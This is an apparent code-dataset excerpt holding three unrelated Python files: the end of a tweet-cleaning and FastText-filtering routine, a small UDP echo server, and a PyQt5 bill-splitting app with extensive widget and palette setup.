self.type_bow_tfidf = type_bow_tfidf\r\n \r\n arquivo = open(directory+'key_words_contextOK.txt', 'rb')\r\n dic_context = pickle.load(arquivo)# Read the stream from the file and rebuild the original object.\r\n arquivo.close() # close the file\r\n\r\n for count_tweets in range(len(tweets)):\r\n \r\n phrase = tweets.loc[count_tweets, 'text']\r\n id_str = tweets.loc[count_tweets, 'id_str']\r\n index = tweets.loc[count_tweets, 'index']\r\n related = tweets.loc[count_tweets, 'related']\r\n \r\n #---------------------------------CLEAN---------------------------------\r\n print(phrase)\r\n \r\n #*****************************REMOVAL OF LINKS***************************\r\n phrase = re.sub(r'(www|https|http)?:\\/\\/(\\w|\\.|\\/|\\?|\\=|\\&|\\%)*\\b', '', phrase)\r\n\r\n #******************REMOVAL OF PROFILES, DUPLICATE CHARACTERS ETC******\r\n tweet_tokenizer = TweetTokenizer(strip_handles=True, reduce_len=True, preserve_case=False)\r\n\r\n clean_tweet = tweet_tokenizer.tokenize(phrase)\r\n\r\n #********************REMOVAL OF RANDOM HASHTAGS****************** \r\n\r\n tw_semhashtag = []\r\n\r\n for i in range(len(clean_tweet)):\r\n \r\n if (clean_tweet[i].find('#') != -1):\r\n \r\n for j in range(len(dic_hashtag)):\r\n \r\n hashtag = dic_hashtag.loc[j, 'hashtag']\r\n correction = dic_hashtag.loc[j, 'correcao']\r\n\r\n exist = 0\r\n\r\n if (clean_tweet[i] == hashtag):\r\n\r\n #print(tweet_limpo[i])\r\n #print(hashtag)\r\n #print('++++++++++++++++++++')\r\n exist +=1\r\n break\r\n \r\n if exist > 0:\r\n tw_semhashtag.append(correction)\r\n else:\r\n tw_semhashtag.append(clean_tweet[i])\r\n \r\n print('--------------')\r\n #print(tw_semhashtag)\r\n\r\n #*****************REMOVAL OF SPECIAL CHARACTERS, SUCH AS EMOTICONS ETC.*************\r\n\r\n tw_semEmoticons = []\r\n \r\n for i in tw_semhashtag:\r\n\r\n status = re.search(u'[^a-zA-ZáéíóúÁÉÍÓÚâêîôÂÊÎÔãõÃÕçÇ ]', i)\r\n\r\n if not status:\r\n\r\n tw_semEmoticons.append(i)\r\n \r\n #print(tw_semEmoticons)\r\n \r\n #****************************STOP WORDS REMOVAL********************************\r\n \r\n tw_semstopword = []\r\n\r\n for i in tw_semEmoticons: \r\n\r\n if i not in self.stopwords:\r\n \r\n tw_semstopword.append(i)\r\n\r\n #print(tw_semstopword)\r\n \r\n if self.type_bow_tfidf == False:\r\n \r\n #*******************FAST TEXT and DICTIONARY VERIFICATION***********************\r\n tw_fasttext = []\r\n\r\n for i in tw_semstopword:\r\n try:\r\n if(i in model.vocab):\r\n tw_fasttext.append(i)\r\n self.vec_fasttext.append(i)\r\n \r\n elif i in dic_context:\r\n\r\n result = dic_context[i]\r\n \r\n #print('---------------------------')\r\n #print('word: ', i)\r\n #print('corrected word: ', result)\r\n\r\n aux = result.split()\r\n\r\n #self.vec_notfasttext.append(i) \r\n #not_fast = 1\r\n #arquivo.writelines(['word: '+str(i), '\\n'])\r\n \r\n #print('dictionary words: ',result)\r\n\r\n for j in aux:\r\n\r\n if(j in model.vocab):\r\n tw_fasttext.append(j)\r\n \r\n self.count_corrected_accepted +=1\r\n\r\n elif len(self.dic.suggest(i)) > 0:\r\n \r\n #print('word: ',i)\r\n\r\n #print('suggested words: ',self.dic.suggest(i))\r\n #arquivo.writelines(['suggested words: '+str(self.dic.suggest(i)), '\\n'])\r\n count_exist = 0\r\n\r\n for j in self.dic.suggest(i):\r\n \r\n if j in model.vocab:\r\n tw_fasttext.append(j)\r\n self.count_corrected_accepted+=1\r\n \r\n #print('suggested word: ',j)\r\n #arquivo.writelines(['suggested words: '+str(j), '\\n'])\r\n count_exist +=1\r\n break\r\n\r\n if count_exist == 0:\r\n self.count_corrected_non_accepted +=1\r\n \r\n #print('words were not accepted!')\r\n #arquivo.writelines(['words were not accepted!', '\\n'])\r\n\r\n else:\r\n self.count_non_existent += 1\r\n\r\n #print('non-existent word:',i)\r\n #arquivo.writelines(['non-existent word: '+str(i), '\\n']) \r\n \r\n #print('#####################')\r\n #arquivo.writelines(['-----------------------------', '\\n'])\r\n except ValueError as e:\r\n print('Erro:', e)\r\n pass\r\n \r\n #print(tw_fasttext)\r\n #print('-------------------------------')\r\n\r\n else:\r\n \r\n tw_fasttext = tw_semstopword\r\n\r\n size = len(tw_fasttext)\r\n \r\n if size != 0:\r\n\r\n self.matriz_tokens.append(tw_fasttext)\r\n self.vec_ids.append(id_str)\r\n self.vec_index.append(index)\r\n self.vec_labels.append(related)\r\n\r\n print('accepted corrections:', self.count_corrected_accepted)\r\n print('corrected not accepted:',self.count_corrected_non_accepted)\r\n print('non-existent:', self.count_non_existent)\r\n\r\n \r\n","sub_path":"train_test/hybrid_tweet_fusion/preprocessing_tweets_hybrid_tweet_fusion.py","file_name":"preprocessing_tweets_hybrid_tweet_fusion.py","file_ext":"py","file_size_in_byte":8060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"22549395","text":"import socket \nfrom time import strftime\n\nhost = ''\nport = 23456\naddr = (host, port)\nus = socket.socket(type=socket.SOCK_DGRAM)\nus.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\nus.bind(addr)\n\nwhile True:\n comment, cli_addr = us.recvfrom(1024)\n if comment == b'quit':\n break\n print(cli_addr)\n comment = comment.decode()\n print(comment, end='')\n \n # comment = '[%s], %s' % (strftime('%H%M%S'), comment)\n comment = '减肥不要吃%s' % comment\n us.sendto(comment.encode(), cli_addr)\nus.close()","sub_path":"nsd1811/python2/day5/udp_socket.py","file_name":"udp_socket.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"154490910","text":"from PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtChart import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.Qt import Qt\nimport json\n\n\nclass ItemUp(QMainWindow):\n person_dict = {}\n\n def fill_table(self, data=None):\n data = self.data if not data else data\n\n for desc, price, person in data.items():\n descItem = QTableWidgetItem(desc)\n priceItem = QTableWidgetItem(\"{0:.2f}\".format(price))\n personItem = QTableWidgetItem(person)\n priceItem.setTextAlignment(Qt.AlignRight | Qt.AlignCenter)\n\n self.item_table.insertRow(self.items)\n self.item_table.setItem(self.items, 0, descItem)\n self.item_table.setItem(self.items, 1, priceItem)\n self.item_table.setItem(self.items, 2, personItem)\n self.items += 1\n\n def add_item(self):\n desc = self.item_box.text()\n price = self.price_box.text()\n person = self.name_box.text()\n price = float(price)\n\n try:\n descItem = QTableWidgetItem(desc)\n priceItem = QTableWidgetItem(\"{0:.2f}\".format(float(price)))\n personItem = QTableWidgetItem(person)\n\n self.item_table.insertRow(self.items)\n self.item_table.setItem(self.items, 0, descItem)\n self.item_table.setItem(self.items, 1, priceItem)\n self.item_table.setItem(self.items, 2, personItem)\n self.items += 1\n\n self.item_box.setText(\"\")\n self.price_box.setText(\"\")\n self.name_box.setText(\"\")\n print(person)\n len_person = person.split(\" \")\n print(len_person)\n\n for i in len_person:\n if i in self.person_dict:\n old_value = self.person_dict[i]\n new_value = old_value + price // len(len_person)\n self.person_dict[i] = new_value\n else:\n self.person_dict[i] = price // len(len_person)\n print(self.person_dict)\n with open(\"data_file.json\", \"w\") as write_file:\n json.dump(self.person_dict, write_file)\n\n except ValueError:\n pass\n\n def check_disable(self):\n if self.item_box.text() and self.price_box.text():\n self.btn_add.setEnabled(True)\n else:\n self.btn_add.setEnabled(False)\n\n def reset_table(self):\n self.item_table.setRowCount(0)\n self.items = 0\n\n chart = QChart()\n self.chartView.setChart(chart)\n self.person_dict.clear()\n\n def setupUi(self, MainWindow):\n MainWindow.setObjectName(\"MainWindow\")\n MainWindow.resize(375, 667)\n MainWindow.setMinimumSize(QSize(200, 667))\n palette = QPalette()\n brush = QBrush(QColor(255, 255, 255))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Active, QPalette.WindowText, brush)\n brush = QBrush(QColor(0, 0, 0, 0))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Active, QPalette.Button, brush)\n brush = QBrush(QColor(66, 73, 90))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Active, QPalette.Light, brush)\n brush = QBrush(QColor(55, 61, 75))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Active, QPalette.Midlight, brush)\n brush = QBrush(QColor(22, 24, 30))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Active, QPalette.Dark, brush)\n brush = QBrush(QColor(29, 32, 40))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Active, QPalette.Mid, brush)\n brush = QBrush(QColor(210, 210, 210))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Active, QPalette.Text, brush)\n brush = QBrush(QColor(255, 255, 255))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Active, QPalette.BrightText, brush)\n brush = QBrush(QColor(255, 255, 255))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Active, QPalette.ButtonText, brush)\n brush = QBrush(QColor(0, 0, 0, 0))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Active, QPalette.Base, brush)\n brush = QBrush(QColor(0, 0, 0, 0))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Active, QPalette.Window, brush)\n brush = QBrush(QColor(0, 0, 0))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Active, QPalette.Shadow, brush)\n brush = QBrush(QColor(85, 170, 255))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Active, QPalette.Highlight, brush)\n brush = QBrush(QColor(85, 170, 255))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Active, QPalette.Link, brush)\n brush = QBrush(QColor(255, 0, 127))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Active, QPalette.LinkVisited, brush)\n brush = QBrush(QColor(22, 24, 30))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Active, QPalette.AlternateBase, brush)\n brush = QBrush(QColor(44, 49, 60))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Active, QPalette.ToolTipBase, brush)\n brush = QBrush(QColor(210, 210, 210))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Active, QPalette.ToolTipText, brush)\n brush = QBrush(QColor(255, 255, 255))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Inactive, QPalette.WindowText, brush)\n brush = QBrush(QColor(0, 0, 0, 0))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Inactive, QPalette.Button, brush)\n brush = QBrush(QColor(66, 73, 90))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Inactive, QPalette.Light, brush)\n brush = QBrush(QColor(55, 61, 75))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Inactive, QPalette.Midlight, brush)\n brush = QBrush(QColor(22, 24, 30))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Inactive, QPalette.Dark, brush)\n brush = QBrush(QColor(29, 32, 40))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Inactive, QPalette.Mid, brush)\n brush = QBrush(QColor(210, 210, 210))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Inactive, QPalette.Text, brush)\n brush = QBrush(QColor(255, 255, 255))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Inactive, QPalette.BrightText, brush)\n brush = QBrush(QColor(255, 255, 255))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Inactive, QPalette.ButtonText, brush)\n brush = QBrush(QColor(0, 0, 0, 0))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Inactive, QPalette.Base, brush)\n brush = QBrush(QColor(0, 0, 0, 0))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Inactive, QPalette.Window, brush)\n brush = QBrush(QColor(0, 0, 0))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Inactive, QPalette.Shadow, brush)\n brush = QBrush(QColor(85, 170, 255))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Inactive, QPalette.Highlight, brush)\n brush = QBrush(QColor(85, 170, 255))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Inactive, QPalette.Link, brush)\n brush = QBrush(QColor(255, 0, 127))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Inactive, QPalette.LinkVisited, brush)\n brush = QBrush(QColor(22, 24, 30))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Inactive, QPalette.AlternateBase, brush)\n brush = QBrush(QColor(44, 49, 60))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Inactive, QPalette.ToolTipBase, brush)\n brush = QBrush(QColor(210, 210, 210))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Inactive, QPalette.ToolTipText, brush)\n brush = QBrush(QColor(22, 24, 30))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Disabled, QPalette.WindowText, brush)\n brush = QBrush(QColor(0, 0, 0, 0))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Disabled, QPalette.Button, brush)\n brush = QBrush(QColor(66, 73, 90))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Disabled, QPalette.Light, brush)\n brush = QBrush(QColor(55, 61, 75))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Disabled, QPalette.Midlight, brush)\n brush = QBrush(QColor(22, 24, 30))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Disabled, QPalette.Dark, brush)\n brush = QBrush(QColor(29, 32, 40))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Disabled, QPalette.Mid, brush)\n brush = QBrush(QColor(22, 24, 30))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Disabled, QPalette.Text, brush)\n brush = QBrush(QColor(255, 255, 255))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Disabled, QPalette.BrightText, brush)\n brush = QBrush(QColor(22, 24, 30))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Disabled, QPalette.ButtonText, brush)\n brush = QBrush(QColor(0, 0, 0, 0))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Disabled, QPalette.Base, brush)\n brush = QBrush(QColor(0, 0, 0, 0))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Disabled, QPalette.Window, brush)\n brush = QBrush(QColor(0, 0, 0))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Disabled, QPalette.Shadow, brush)\n brush = QBrush(QColor(51, 153, 255))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Disabled, QPalette.Highlight, brush)\n brush = QBrush(QColor(85, 170, 255))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Disabled, QPalette.Link, brush)\n brush = QBrush(QColor(255, 0, 127))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Disabled, QPalette.LinkVisited, brush)\n brush = QBrush(QColor(44, 49, 60))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Disabled, QPalette.AlternateBase, brush)\n brush = QBrush(QColor(44, 49, 60))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Disabled, QPalette.ToolTipBase, brush)\n brush = QBrush(QColor(210, 210, 210))\n brush.setStyle(Qt.SolidPattern)\n palette.setBrush(QPalette.Disabled, QPalette.ToolTipText, brush)\n MainWindow.setPalette(palette)\n self.items = 0\n self.data = {}\n self.sizeHint()\n self.chartView = QChartView()\n self.chartView.setRenderHint(QPainter.Antialiasing)\n\n font = QFont()\n font.setFamily(\"ArcadeClassic\")\n font.setPointSize(8)\n MainWindow.setFont(font)\n MainWindow.setLayoutDirection(Qt.LeftToRight)\n MainWindow.setStyleSheet(\n \"QMainWindow {background: transparent; }\\n\"\n \"QToolTip {\\n\"\n \" color: #ffffff;\\n\"\n \" background-color: rgba(27, 29, 35, 160);\\n\"\n \" border: 1px solid rgb(100, 100, 100);\\n\"\n \"}\"\n )\n self.centralwidget = QWidget(MainWindow)\n self.centralwidget.setStyleSheet(\n \"background: transparent;\\n\" \"color: rgb(210, 210, 210);\"\n )\n self.centralwidget.setObjectName(\"centralwidget\")\n self.gridLayout = QGridLayout(self.centralwidget)\n self.gridLayout.setObjectName(\"gridLayout\")\n self.frame_main = QFrame(self.centralwidget)\n self.frame_main.setStyleSheet(\"\")\n self.frame_main.setFrameShape(QFrame.NoFrame)\n self.frame_main.setFrameShadow(QFrame.Raised)\n self.frame_main.setObjectName(\"frame_main\")\n self.verticalLayout = QVBoxLayout(self.frame_main)\n self.verticalLayout.setContentsMargins(0, 0, 0, 0)\n self.verticalLayout.setSpacing(0)\n self.verticalLayout.setObjectName(\"verticalLayout\")\n self.frame_top = QFrame(self.frame_main)\n self.frame_top.setMaximumSize(QSize(16777215, 60))\n self.frame_top.setStyleSheet(\"background-color: transparent;\")\n self.frame_top.setFrameShape(QFrame.NoFrame)\n self.frame_top.setFrameShadow(QFrame.Raised)\n self.frame_top.setObjectName(\"frame_top\")\n self.horizontalLayout_3 = QHBoxLayout(self.frame_top)\n self.horizontalLayout_3.setContentsMargins(0, 0, 0, 0)\n self.horizontalLayout_3.setSpacing(0)\n self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\")\n self.frame_top_right = QFrame(self.frame_top)\n self.frame_top_right.setStyleSheet(\"background: transparent;\")\n self.frame_top_right.setFrameShape(QFrame.NoFrame)\n self.frame_top_right.setFrameShadow(QFrame.Raised)\n self.frame_top_right.setObjectName(\"frame_top_right\")\n self.verticalLayout_2 = QVBoxLayout(self.frame_top_right)\n self.verticalLayout_2.setContentsMargins(0, 0, 0, 0)\n self.verticalLayout_2.setSpacing(0)\n self.verticalLayout_2.setObjectName(\"verticalLayout_2\")\n self.frame_top_btns = QFrame(self.frame_top_right)\n self.frame_top_btns.setMaximumSize(QSize(16777215, 30))\n self.frame_top_btns.setStyleSheet(\"background-color: rgba(33, 37, 43, 150);\")\n self.frame_top_btns.setFrameShape(QFrame.NoFrame)\n self.frame_top_btns.setFrameShadow(QFrame.Raised)\n self.frame_top_btns.setObjectName(\"frame_top_btns\")\n self.horizontalLayout_4 = QHBoxLayout(self.frame_top_btns)\n self.horizontalLayout_4.setContentsMargins(0, 0, 0, 0)\n self.horizontalLayout_4.setSpacing(0)\n self.horizontalLayout_4.setObjectName(\"horizontalLayout_4\")\n self.frame_label_top_btns = QFrame(self.frame_top_btns)\n self.frame_label_top_btns.setMaximumSize(QSize(16777215, 25))\n self.frame_label_top_btns.setStyleSheet(\"background-color: rgb(226, 13, 99);\")\n self.frame_label_top_btns.setFrameShape(QFrame.NoFrame)\n self.frame_label_top_btns.setFrameShadow(QFrame.Raised)\n self.frame_label_top_btns.setObjectName(\"frame_label_top_btns\")\n self.horizontalLayout_10 = QHBoxLayout(self.frame_label_top_btns)\n self.horizontalLayout_10.setContentsMargins(8, 0, 10, 0)\n self.horizontalLayout_10.setSpacing(0)\n self.horizontalLayout_10.setObjectName(\"horizontalLayout_10\")\n self.MainWindowBase = QLabel(self.frame_label_top_btns)\n self.MainWindowBase.setMaximumSize(QSize(16777215, 20))\n font = QFont()\n font.setFamily(\"ArcadeClassic\")\n font.setPointSize(8)\n font.setBold(False)\n font.setWeight(50)\n self.MainWindowBase.setFont(font)\n self.MainWindowBase.setStyleSheet(\n \"background: transparent;\\n\"\n \"background-color: rgb(226, 13, 99);\\n\"\n \"margin-left: 5px;\"\n )\n self.MainWindowBase.setText(\"\")\n self.MainWindowBase.setObjectName(\"MainWindowBase\")\n self.horizontalLayout_10.addWidget(self.MainWindowBase)\n self.horizontalLayout_4.addWidget(self.frame_label_top_btns)\n self.frame_btns_right = QFrame(self.frame_top_btns)\n self.frame_btns_right.setMaximumSize(QSize(120, 16777215))\n self.frame_btns_right.setStyleSheet(\"background-color: rgb(226, 13, 99);\")\n self.frame_btns_right.setFrameShape(QFrame.NoFrame)\n self.frame_btns_right.setFrameShadow(QFrame.Raised)\n self.frame_btns_right.setObjectName(\"frame_btns_right\")\n self.horizontalLayout_5 = QHBoxLayout(self.frame_btns_right)\n self.horizontalLayout_5.setContentsMargins(0, 0, 0, 0)\n self.horizontalLayout_5.setSpacing(0)\n self.horizontalLayout_5.setObjectName(\"horizontalLayout_5\")\n self.horizontalLayout_4.addWidget(self.frame_btns_right)\n self.verticalLayout_2.addWidget(self.frame_top_btns)\n self.frame_top_info = QFrame(self.frame_top_right)\n self.frame_top_info.setStyleSheet(\n \"background-color: rgb(39, 44, 54);\\n\" \"background-color: rgb(226, 13, 99);\"\n )\n self.frame_top_info.setFrameShape(QFrame.NoFrame)\n self.frame_top_info.setFrameShadow(QFrame.Raised)\n self.frame_top_info.setObjectName(\"frame_top_info\")\n self.horizontalLayout_8 = QHBoxLayout(self.frame_top_info)\n self.horizontalLayout_8.setContentsMargins(10, 0, 10, 0)\n self.horizontalLayout_8.setSpacing(0)\n self.horizontalLayout_8.setObjectName(\"horizontalLayout_8\")\n self.hankakao_top_info_1 = QLabel(self.frame_top_info)\n font = QFont()\n font.setFamily(\"ArcadeClassic\")\n font.setPointSize(11)\n self.hankakao_top_info_1.setFont(font)\n self.hankakao_top_info_1.setStyleSheet(\n \"color: rgb(255, 255, 255);\\n\" \"background-color: rgb(226, 13, 99);\"\n )\n self.hankakao_top_info_1.setObjectName(\"hankakao_top_info_1\")\n self.horizontalLayout_8.addWidget(self.hankakao_top_info_1)\n self.item_top_info_2 = QLabel(self.frame_top_info)\n self.item_top_info_2.setMinimumSize(QSize(0, 0))\n self.item_top_info_2.setMaximumSize(QSize(300, 16777215))\n font = QFont()\n font.setFamily(\"ArcadeClassic\")\n font.setPointSize(11)\n font.setBold(False)\n font.setWeight(50)\n self.item_top_info_2.setFont(font)\n self.item_top_info_2.setStyleSheet(\n \"\\n\" \"color: rgb(255, 255, 255);\\n\" \"background-color: rgb(226, 13, 99);\"\n )\n self.item_top_info_2.setAlignment(\n Qt.AlignRight | Qt.AlignTrailing | Qt.AlignVCenter\n )\n self.item_top_info_2.setObjectName(\"item_top_info_2\")\n self.horizontalLayout_8.addWidget(self.item_top_info_2)\n self.verticalLayout_2.addWidget(self.frame_top_info)\n self.horizontalLayout_3.addWidget(self.frame_top_right)\n self.verticalLayout.addWidget(self.frame_top)\n self.frame_center = QFrame(self.frame_main)\n self.frame_center.setStyleSheet(\"background-color: rgb(16, 30, 65);\")\n self.frame_center.setFrameShape(QFrame.NoFrame)\n self.frame_center.setFrameShadow(QFrame.Raised)\n self.frame_center.setObjectName(\"frame_center\")\n self.horizontalLayout_2 = QHBoxLayout(self.frame_center)\n self.horizontalLayout_2.setContentsMargins(0, 0, 0, 0)\n self.horizontalLayout_2.setSpacing(0)\n self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\")\n self.frame_content_right = QFrame(self.frame_center)\n self.frame_content_right.setStyleSheet(\"background-color: rgb(16, 30, 65);\")\n self.frame_content_right.setFrameShape(QFrame.NoFrame)\n self.frame_content_right.setFrameShadow(QFrame.Raised)\n self.frame_content_right.setObjectName(\"frame_content_right\")\n self.verticalLayout_4 = QVBoxLayout(self.frame_content_right)\n self.verticalLayout_4.setContentsMargins(0, 0, 0, 0)\n self.verticalLayout_4.setSpacing(0)\n self.verticalLayout_4.setObjectName(\"verticalLayout_4\")\n self.frame_content = QFrame(self.frame_content_right)\n self.frame_content.setStyleSheet(\"background-color: rgb(39, 44, 54);\")\n self.frame_content.setFrameShape(QFrame.NoFrame)\n self.frame_content.setFrameShadow(QFrame.Raised)\n self.frame_content.setObjectName(\"frame_content\")\n self.verticalLayout_9 = QVBoxLayout(self.frame_content)\n self.verticalLayout_9.setContentsMargins(5, 5, 5, 5)\n self.verticalLayout_9.setSpacing(0)\n self.verticalLayout_9.setObjectName(\"verticalLayout_9\")\n self.horizontalLayout_11 = QHBoxLayout()\n self.horizontalLayout_11.setObjectName(\"horizontalLayout_11\")\n self.verticalLayout_5 = QVBoxLayout()\n self.verticalLayout_5.setObjectName(\"verticalLayout_5\")\n self.label_8 = QLabel(self.frame_content)\n self.label_8.setMaximumSize(QSize(16777215, 5))\n self.label_8.setText(\"\")\n self.label_8.setObjectName(\"label_8\")\n self.verticalLayout_5.addWidget(self.label_8)\n self.item = QLabel(self.frame_content)\n font = QFont()\n font.setFamily(\"ArcadeClassic\")\n font.setPointSize(9)\n self.item.setFont(font)\n self.item.setObjectName(\"item\")\n self.verticalLayout_5.addWidget(self.item)\n self.label_10 = QLabel(self.frame_content)\n self.label_10.setMaximumSize(QSize(16777215, 10))\n self.label_10.setText(\"\")\n self.label_10.setObjectName(\"label_10\")\n self.verticalLayout_5.addWidget(self.label_10)\n self.price = QLabel(self.frame_content)\n font = QFont()\n font.setFamily(\"ArcadeClassic\")\n font.setPointSize(9)\n self.price.setFont(font)\n self.price.setObjectName(\"price\")\n self.verticalLayout_5.addWidget(self.price)\n self.label_3 = QLabel(self.frame_content)\n self.label_3.setMaximumSize(QSize(16777215, 10))\n self.label_3.setText(\"\")\n self.label_3.setObjectName(\"label_3\")\n self.verticalLayout_5.addWidget(self.label_3)\n self.name = QLabel(self.frame_content)\n font = QFont()\n font.setFamily(\"ArcadeClassic\")\n font.setPointSize(9)\n self.name.setFont(font)\n self.name.setObjectName(\"name\")\n self.verticalLayout_5.addWidget(self.name)\n self.label_9 = QLabel(self.frame_content)\n self.label_9.setMaximumSize(QSize(16777215, 5))\n self.label_9.setText(\"\")\n self.label_9.setObjectName(\"label_9\")\n self.verticalLayout_5.addWidget(self.label_9)\n self.horizontalLayout_11.addLayout(self.verticalLayout_5)\n self.verticalLayout_6 = QVBoxLayout()\n self.verticalLayout_6.setObjectName(\"verticalLayout_6\")\n self.item_box = QLineEdit(self.frame_content)\n self.item_box.setMaximumSize(QSize(150, 16777215))\n self.item_box.setObjectName(\"item_box\")\n self.verticalLayout_6.addWidget(self.item_box)\n self.price_box = QLineEdit(self.frame_content)\n self.price_box.setMaximumSize(QSize(150, 16777215))\n self.price_box.setObjectName(\"price_box\")\n self.verticalLayout_6.addWidget(self.price_box)\n self.name_box = QLineEdit(self.frame_content)\n self.name_box.setMaximumSize(QSize(150, 16777215))\n self.name_box.setObjectName(\"name_box\")\n self.verticalLayout_6.addWidget(self.name_box)\n self.horizontalLayout_11.addLayout(self.verticalLayout_6)\n self.btn_add = QPushButton(self.frame_content)\n self.btn_add.setMaximumSize(QSize(50, 16777215))\n self.btn_add.setObjectName(\"btn_add\")\n self.btn_add.clicked.connect(self.add_item)\n self.btn_add.setEnabled(False)\n self.horizontalLayout_11.addWidget(self.btn_add, 0, Qt.AlignRight)\n self.btn_clear = QPushButton(self.frame_content)\n self.btn_clear.setMaximumSize(QSize(50, 16777215))\n self.btn_clear.setObjectName(\"btn_clear\")\n self.btn_clear.clicked.connect(self.reset_table)\n self.horizontalLayout_11.addWidget(self.btn_clear, 0, Qt.AlignRight)\n self.verticalLayout_9.addLayout(self.horizontalLayout_11)\n self.item_table = QTableWidget(self.frame_content)\n self.item_table.setMaximumSize(QSize(16777215, 450))\n self.item_table.setObjectName(\"item_table\")\n self.item_table.setColumnCount(3)\n self.item_table.setRowCount(0)\n item = QTableWidgetItem()\n font = QFont()\n font.setFamily(\"ArcadeClassic\")\n font.setPointSize(10)\n item.setFont(font)\n brush = QBrush(QColor(0, 0, 0))\n brush.setStyle(Qt.SolidPattern)\n item.setForeground(brush)\n self.item_table.setHorizontalHeaderItem(0, item)\n item = QTableWidgetItem()\n font = QFont()\n font.setFamily(\"ArcadeClassic\")\n font.setPointSize(10)\n item.setFont(font)\n brush = QBrush(QColor(0, 0, 0))\n brush.setStyle(Qt.SolidPattern)\n item.setForeground(brush)\n self.item_table.setHorizontalHeaderItem(1, item)\n item = QTableWidgetItem()\n font = QFont()\n font.setFamily(\"ArcadeClassic\")\n font.setPointSize(10)\n item.setFont(font)\n brush = QBrush(QColor(0, 0, 0))\n brush.setStyle(Qt.SolidPattern)\n item.setForeground(brush)\n self.item_table.setHorizontalHeaderItem(2, item)\n self.verticalLayout_9.addWidget(self.item_table)\n self.label_4 = QLabel(self.frame_content)\n self.label_4.setMaximumSize(QSize(16777215, 10))\n self.label_4.setText(\"\")\n self.label_4.setObjectName(\"label_4\")\n self.verticalLayout_9.addWidget(self.label_4)\n self.btn_hankakao = QPushButton(self.frame_content)\n self.btn_hankakao.setMaximumSize(QSize(300, 35))\n font = QFont()\n font.setFamily(\"ArcadeClassic\")\n font.setPointSize(11)\n self.btn_hankakao.setFont(font)\n self.btn_hankakao.setLayoutDirection(Qt.LeftToRight)\n self.btn_hankakao.setStyleSheet(\n \"color: rgb(226, 13, 99);\\n\" \"background-color: rgb(255, 255, 255);\"\n )\n self.btn_hankakao.setObjectName(\"btn_hankakao\")\n self.verticalLayout_9.addWidget(self.btn_hankakao, 0, Qt.AlignHCenter)\n self.label_2 = QLabel(self.frame_content)\n self.label_2.setMaximumSize(QSize(16777215, 0))\n self.label_2.setText(\"\")\n self.label_2.setObjectName(\"label_2\")\n self.verticalLayout_9.addWidget(self.label_2)\n 